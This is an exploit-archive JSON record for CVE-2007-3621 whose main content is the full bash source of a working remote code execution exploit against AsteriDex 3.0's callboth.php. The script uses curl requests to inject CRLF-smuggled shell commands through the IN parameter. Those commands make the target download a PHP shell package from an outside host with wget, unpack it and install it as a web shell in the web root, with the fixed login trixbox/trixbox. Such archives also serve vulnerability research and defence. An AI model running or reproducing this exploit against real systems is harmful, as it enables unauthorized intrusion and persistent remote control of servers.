{"exploit":{"id":"EDB-4151","name":"AsteriDex 3.0 - 'callboth.php' Remote Code Execution (RCE)","description":"AsteriDex 3.0 - 'callboth.php' Remote Code Execution (RCE)","cves":["CVE-2007-3621"],"author":"Carl Livitt","published":"2007-07-05","platform":"php","type":"webapps","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4151","path":"exploits/php/webapps/4151.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4151.sh","vulnerabilities":[{"id":"CVE-2007-3621","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple CRLF injection vulnerabilities in callboth.php in AsteriDex 3.0 and earlier allow remote attackers to inject arbitrary shell commands via the (1) IN and (2) OUT parameters.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-3621","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-3621"},"updatedAt":"2024-08-07T14:21:36.461Z","retrievedAt":"2026-11-26T13:09:04.829Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4151.png?v=2","url":"https://exploitbin.com/exploits/EDB-4151","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4151/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4151/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/bash\n##\n## Begin exploit\n##\n\necho Asteridex PoC Exploit (callboth.php vulnerability)\necho By Carl Livitt / Hoku Security / June 2007\necho\n\n# This has to be (a) a valid SIP address, and (b) must answer when dialled.\n# The exploit will fail without these conditions being met.\n# Currently uses the Melonite SIP echo test service.\nSIP=\"190@sip.melonite.nu\"\n\n# Magic number, don't change. The default installation of AsteriDex checks\n# for this number and fails without it.\nSEQ=654321\n\n# Other stuff we need\nLOC=/asteridex/callboth.php\nOUT=123456\n\n# Sanity\nif [ \"$1X\" == \"X\" ]; then\n       echo Syntax: $0 \\<Host IP\\[:port\\]\\>\n       echo For example: $0 www.example.com:8080\n       exit 1\nfi\n\n# Insanity\necho \"[-] Exploiting host $1 - please wait\"\necho -n '[+]' Building shell script\ncurl \"http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20\\!/bin/sh>/tmp/t%0d%0a\" &>/dev/null\necho -n .\ncurl \"http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20%2dn%20wget%20%2dO%20x.tar.bz2%20%5c%27http://%3e%3e/tmp/t%0d%0a\" &>/dev/null\necho -n .\ncurl \"http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20%2dn%20prdownloads.sf.net/phpshell/%3e%3e/tmp/t%0d%0a\" &>/dev/null\necho .\ncurl \"http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20phpshell%2d2.1.tar.bz2%3fdownload%5c%27%3e%3e/tmp/t%0d%0a\" &>/dev/null\necho '[+] Executing shell script'\ncurl \"http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp;chmod%20%2bx%20t;./t;tar%20jxf%20x.tar.bz2%0d%0a\" &>/dev/null\necho -n '[+] Setting up phpshell'\ncurl \"http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20cd%20/tmp;mv%20phpshell-2.1%20p%0d%0a\" &>/dev/null\necho -n .\ncurl \"http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp/p;echo%20%5c%5busers%5c%5d>config.php%0d%0a\" &>/dev/null\necho -n .\ncurl \"http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp/p;echo%20%27trixbox%3d%22trixbox%22%27>>config.php%0d%0a\" &>/dev/null\necho .\ncurl \"http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20mv%20/tmp/p%20/var/www/html/phpshell%0d%0a\" &>/dev/null\n\n# Have a nice day\necho \"Done! You should now be able to browse to http://$1/phpshell/phpshell.php\"\necho You can login with the username \\'trixbox\\' and password \\'trixbox\\'\n\n##\n## End Exploit\n##\n\n# milw0rm.com [2007-07-05]","sha256":"b6ddab2882059130c4083bbd0cda47d0286360b058a84aa367924ad755b88aad","bytes":2527,"fetchedAt":"2026-11-26T13:09:02.105Z","encoding":"utf-8 (display only; download retains original bytes)"}